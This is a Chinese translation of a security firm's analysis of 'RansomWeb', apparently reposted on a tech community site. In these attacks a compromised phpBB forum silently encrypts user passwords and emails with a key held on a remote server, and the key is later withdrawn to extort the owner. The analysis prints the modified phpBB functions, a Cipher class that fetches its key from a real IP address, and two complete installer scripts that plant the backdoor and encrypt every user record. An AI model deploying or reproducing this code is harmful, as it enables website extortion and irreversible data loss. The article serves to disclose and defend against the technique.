专栏首页RansomWeb:一种新兴的网站威胁

RansomWeb:一种新兴的网站威胁

越来越多的人成为勒索软件的受害者,勒索软件是一种加密你的数据并要求支付资金解密的恶意软件。最新趋势表明,网络犯罪分子现在也将瞄准您的网站以获得您的赎金。

2014年12月,我们的安全专家发现了一个非常有趣的金融公司网站泄密案例:网站服务异常停止,并显示了一个数据库错误。同时网站所有者收到一封电子邮件索要赎金以“解密数据库”。网站大多是小型站点,但问题在于其对公司的业务非常重要,不能暂停它,也不能宣布其妥协。我们通过仔细调查发现了以下细节:

- 六个月前Web应用程序遭到入侵,修改了几个服务器脚本以在将数据插入数据库之前加密数据,并在从数据库获取数据后进行解密,这相当于对Web应用程序用户打了个不可见的“动态”补丁。

- 只加密数据库表中最关键的字段(可能不会对Web应用程序性能产生很大影响)。所有之前的数据库记录都被进行了相应加密。

- 加密密钥存储在只能通过HTTPS访问的远程Web服务器上(可能是为了绕过各种流量监控系统的密钥拦截)。

- 在这六个月内,黑客正在一直在等待,直到数据库的原始备份被最新版本的数据库覆盖。

- 在第X天,黑客从远程服务器上删除了密钥。数据库变得无法使用,网站停止服务,黑客要求获得加密密钥的赎金。

我们确信这是针对具体公司的复杂APT的个别例子,但是上周我们遇到了另一个类似案例。我的一个客户,一个中小企业,在他的... phpBB论坛失灵之后被勒索了。该论坛被用作客户支持的主要平台,因此对客户很重要。

这是2014年11月25日发布的最新的phpBB 3.1.2版本,没有用户可以登录(包括论坛版主和管理员)。该论坛是在线的,但是要求论坛用户进行身份验证的所有功能都不起作用。我们的彻底调查显示,论坛引擎被打了补丁,使得用户的密码和电子邮件在Web应用程序和数据库之间被“即时”加密。

修改了以下文件:

1.文件“ factory.php ”的“sql_fetchrow()”函数被修改为SQL查询结果“$ result = $ this-> get_driver() - > sql_fetchrow($ query_id);并对集合中记录的”user_password“和”user_email“表字段进行解密:

if(isset($result['user_password'])){
 $result['user_password'] = $cipher->decrypt($result['user_password']);
 }
 if(isset($result['user_email'])){
 $result['user_email'] = $cipher->decrypt($result['user_email']);
 } 

2.文件“ functions_user.php ”的“user_add”功能被修改以对相应字段进行加密:

$sql_ary = array(
 'username'=>$user_row['username'],
 'username_clean' => $username_clean,
 'user_password' => (isset($user_row['user_password']))?
 $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
 'group_id' => $user_row['group_id'],
 'user_type' => $user_row['user_type'],
 ); 

3.文件“ cp_activate.php ”的“main()”函数被修改:

$sql_ary = array(
 'user_actkey' => '',
 'user_password' => $cipher->encrypt($user_row['user_newpasswd']),
 'user_newpasswd' => '',
 'user_login_attempts' => 0,
 ); 

4.文件“ ucp_profile.php ”的“main()”函数被修改:

if (sizeof($sql_ary))
 {
 $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);
 $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
 $sql = 'UPDATE ' . USERS_TABLE . '
 SET ' . $db->sql_build_array('UPDATE', $sql_ary) . '
 WHERE user_id = ' . $user->data['user_id'];
 $db->sql_query($sql); 

5.文件“ config.php ”进行了以下修改:

class Cipher {
 private $securekey, $iv;
 function __construct($textkey) {
 $this->securekey = hash('sha256',$textkey,TRUE);
 $this->iv = mcrypt_create_iv(32);
 }
 function encrypt($input) {
 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
 }
 function decrypt($input) {
 return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
 }
 }
 $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
 sdfds90f8d9s0f8d0f89.txt');
 $cipher=new Cipher($key);

此外,我们在服务器上发现了黑客留下的两个后门安装脚本,只需点击几下即可对任何phpBB论坛安装后门。第一个安装程序修补“config.php”文件以添加“Cipher”类,该类使用PHP“mcrypt_encrypt()”函数解密和加密数据,该函数在远程服务器上存储加密密钥:

<?php
 $file = '../config.php';
 $txt = "\n".'class Cipher {
 private $securekey, $iv;
 function __construct($textkey) {
 $this->securekey = hash(\'sha256\',$textkey,TRUE);
 $this->iv = mcrypt_create_iv(32);
 }
 function encrypt($input) {
 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
 }
 function decrypt($input) {
 return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
 }
 }
 $key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/
 sdfds90f8d9s0f8d0f89.txt\');
 $cipher=new Cipher($key);'."\n";
 if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
 echo "DONE!";
 }; 

第二个安装程序解析所有现有的phpBB用户加密他们的电子邮件和密码,并用后门副本替换上述phpBB文件:

<?php
 define('IN_PHPBB', true);
 $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
 $phpEx = substr(strrchr(__FILE__, '.'), 1);
 include($phpbb_root_path . 'common.' . $phpEx);
 include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
 $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;
 $result = $db->sql_query($sql);
 while ($row = $db->sql_fetchrow($result))
 {
 $sql2 = 'UPDATE ' . USERS_TABLE . '
 SET
 user_password = "'.$cipher->encrypt($row['user_password']).'",
 user_email = "'.$cipher->encrypt($row['user_email']).'"
 WHERE user_id = '.$row['user_id'];
 $result2 = $db->sql_query($sql2);
 }
 echo "SQL UPDATED!<br>";
 copy('factory.php', '../phpbb/db/driver/factory.php');
 copy('functions_user.php', '../includes/functions_user.php');
 copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');
 copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');
 echo "FILES UPDATED!"; 

攻击者等待了2个月,然后从远程服务器上删除了密钥。之后因为我们因为FTP密码泄露发现phpBB被损坏了。

目前,没有任何防病毒软件能够将安装程序检测为已知的恶意软件:

- “step1.php”文件

- “step2.php”文件

根据其攻击网站之后进行勒索的方式,我们称这种黑客技术为RansomWeb。我们试着对RansomWeb攻击进行了简要分析:

RansomWeb的特点:

- 与DDoS攻击不同; 它们可以对Web应用程序的可用性产生持久影响。

- 不仅可用于勒索,还可用于让网站长期无法工作。

- 备份无济于事,因为数据库将以加密模式备份,而加密密钥是远程存储的,不会备份。

- 几乎不可能在没有支付赎金的情况下从攻击中恢复,许多受害者不得不向黑客支付费用。

- 托管公司尚未准备好应对这一新挑战,可能无法帮助他们的客户。

RansomWeb的弱点:

- 可以通过文件完整性监视器轻松检测到(但是,很少有公司对可能每天都在更改的Web应用程序进行文件完整性监视)。

- 在不损害Web应用程序功能和/或速度的情况下加密整个数据库非常困难(尽管如此,即使一个不可恢复的DB字段也可能破坏Web应用程序)。

- 如果网站定期更新,就可能很快检测到。

High-Tech Bridge的首席执行官Ilia Kolochenko说:“我们可能面临一个新的威胁,可能比数据污损和DDoS攻击更严重。RansomWeb攻击可能造成无法修复的损坏,这很容易发生但很难预防。黑客攻击网站以获得荣耀或乐趣的日子已经结束,现在他们正受到金钱驱使,网络勒索,讹诈和敲诈的时代即将开始。“

首席研究官Marsel Nizamutdinov补充说:“网络勒索和勒索软件已经存在了一段时间,但网站是一个新的被敲诈对象。我们有数以千万计的易受攻击的网页应用程序包含关键数据,黑客绝对不会错过这样因为网站管理员的疏忽而赚钱的好机会。“

Ilia Kolochenko继续说道:“防止此类攻击的唯一方法是将常规安全监控与网站渗透测试相结合。”

RansomWeb攻击的效率和赚钱能力是否会优于DDoS,数据破坏和数据盗窃?这个问题很可能在2015年得到答案。

本文的版权归 用户1196457 所有,如需转载请联系作者。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 保护微服务(第一部分)

    面向服务的体系结构(SOA)引入了一种设计范式,该技术讨论了高度分离的服务部署,其中服务间通过标准化的消息格式在网络上通信,而不关心服务的实现技术...

    用户1196457
  • 一些比非常不安全的密码认证更安全的认证方式

    密码是全球用户认证的最常见方式,其使用率在过去的十多年来一直在缓慢下降。比尔盖茨在2004年的RSA会议上声称,“毫无疑问,随着时间的推移,人们对密码的依赖会越...

    用户1196457
  • 在CentOS 7上使用WildFly进行Java开发

    JBoss AS(重命名为WildFly)已被使用多年,是最有名的高效和免费的Java社区应用服务器之一。当Red Hat开始为其企业版JBoss EAP的对内...

    用户1196457
  • 基于jsp+servlet图书管理系统之后台用户信息修改操作

    上一篇的博客写的是查询操作,且附有源码和数据库,这篇博客写的是修改操作,附有从头至尾写的代码(详细的注释)和数据库!  此次修改操作的源码和数据库:http:...

    别先生
  • shel脚本批量添加用户,首次登陆强制修改密码

    企业里常用到脚本来批量管理很多用户,这些也可以理解为自动化管理。为企业之后自动运维部署做准备。 #!/bin/bash #description:userad...

    BGBiao
  • 如何优雅地实现分页查询

    分页功能是很常见的功能,特别是当数据量越来越大的时候,分页查询是必不可少的。实现分页功能有很多种方式,如果使用的ORM框架是mybatis的话,有开源的分页插件...

    黄泽杰
  • get_userdata——获取用户数据

    获取某个用户的用户数据,数据形式为一个 WP_User 对象,我们可以通过 “->” 操作符直接获取 wp_users 和 wp_usermeta 数据表里面的...

    赵帆同学GXUZF.COM
  • NodeJS使用mssql连接SQLServer出现"Incorrect syntax near the keyword \'user\'."

    最近使用NodeJS的mssql模块连接SQLServer数据库出现了"Incorrect syntax near the keyword ‘user’."的错...

    ccf19881030
  • Python数据分析之dataframe的groupbygroupby函数highcharts绘图

    罗罗攀
  • SpringMVC response返回参数绑定

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    多凡

扫码关注云+社区

领取腾讯云代金券